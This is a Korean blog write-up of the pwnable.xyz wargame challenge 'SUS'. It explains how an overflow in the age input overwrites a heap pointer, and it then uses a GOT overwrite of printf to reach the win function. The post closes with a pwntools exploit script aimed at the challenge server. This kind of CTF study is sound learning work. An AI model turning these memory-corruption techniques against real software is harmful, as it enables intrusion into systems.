tmxklab

[Pwnable.xyz] SUS 본문

War Game/Pwnable.xyz

[Pwnable.xyz] SUS

tmxk4221 2020. 4. 23. 20:25

1. 문제

nc svc.pwnable.xyz 30011

 

1) 문제 확인

 

2) 함수 확인

 

2-1) 메인 함수

 

2-2) create_user()

 

2-3) print_user()

 

2-4) eidt_usr()

 

2-5) read_int32()

 

3) mitigation

 


 

2. 접근방법

 

1) 변수 위치 정리

name데이터는 힙에 저장되고 age데이터는 스택에 저장됨

 

2) 디버깅 확인

create_user()에서는 s변수에 입력(name)을 받고 age값 스택에 저장됨

 

edit_usr()에서는 cur변수에 입력(name)을 받음 v0+0x48[0x7ffffffecea8]에 저장됨

이 때, [rbx+0x48] 이렇게 주소 값을 참조하여 저장하므로(rbx : s변수 주소 값) 아까랑 동일하게 0x7ffffffecea8에 저장됨

 

여기서 의문점이 name을 받는 부분은 포인터 사용해서 힙 영역에 데이터 저장한다 쳐도 

age를 받는 부분에서 create_user()에서는 [rbp-0x1018]에 저장하고 edit_usr()에서는 [rbx+0x48]에 저장하는데 동일한 공간에 저장된다.

 

2-1) create user()

- eax값은 read_intr32()에서 입력받은 값을 atoi함수를 통해 int형으로 반환한 값이며 결국 age값이 [rbp-0x1018]에 저장

 

2-2) edit_usr()

- [rbx+0x48]에 age값이 저장됨

 

그럼 edit_usr()의 read_int32()에 buf[rbp-0x30]으로부터 0x18떨어진 곳에 0x603260이 존재한다.(s변수가 malloc통해서 메모리할당 받았던 힙 영역 주소)

 

덮어씌어지는지 확인해보즈아

 

실행하기 전)

 

실행 후)

 

0x603260의 값이 덮어씌어지는 것을 확인할 수 있다.

 

이 후에 edit_usr()를 실행하면

원래대로라면 rax에 0x603260이 들어가야하는데 방금 전 덮어씌어지므로 rax에 0x4343..이 들어있다.

 

따라서, edit_usr()의 read_int32()의 read함수에서 [rbp-0x30]에 buf의 값이 들어가는데 이 때, 최대 32bytes까지 쓸 수 있으므로 0x603260의 값을 변조할 수 있다.

 

스택 구조)

mitigation에서 Partial RELRO이므로 GOT Overwrite가 가능하다.

 

결론)

- 메뉴 1번에서 이름과 나이 아무 값을 입력

- 메뉴 3번에 edit에서 이름은 아무거나 입력하고 age를 입력할 때 dummy(16bytes) + printf_got값을 넣음

- 메뉴 3번을 입력하여 cur에 printf_got가 입력되어 있으므로 win주소 값을 입력

 


 

3. 풀이

 

1) 익스코드

from pwn import *

context.log_level="debug"

p = remote("svc.pwnable.xyz", 30011)
e = ELF("./challenge")
win_addr = p64(e.symbols['win'])
printf_got =p64(e.got['printf'])

p.sendlineafter("> ", "1")
p.sendafter(": ", "AAAA")
p.sendafter("Age: ", "1")

p.sendlineafter("> ", "3")
p.sendafter("Name: ", "AAAA")
p.sendafter("Age: ", "A"*16+str(printf_got))

p.sendlineafter("> ", "3")
p.sendafter("Name: ", str(win_addr))

p.interactive()

 

2) 공격 실행

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] strcat  (0) 2020.05.03
[Pwnable.xyz] J-U-M-P  (0) 2020.05.03
[Pwnable.xyz] fspoo  (0) 2020.04.23
[Pwnable.xyz] Game  (0) 2020.04.13
[Pwnable.xyz] I33t-ness  (0) 2020.04.09
Comments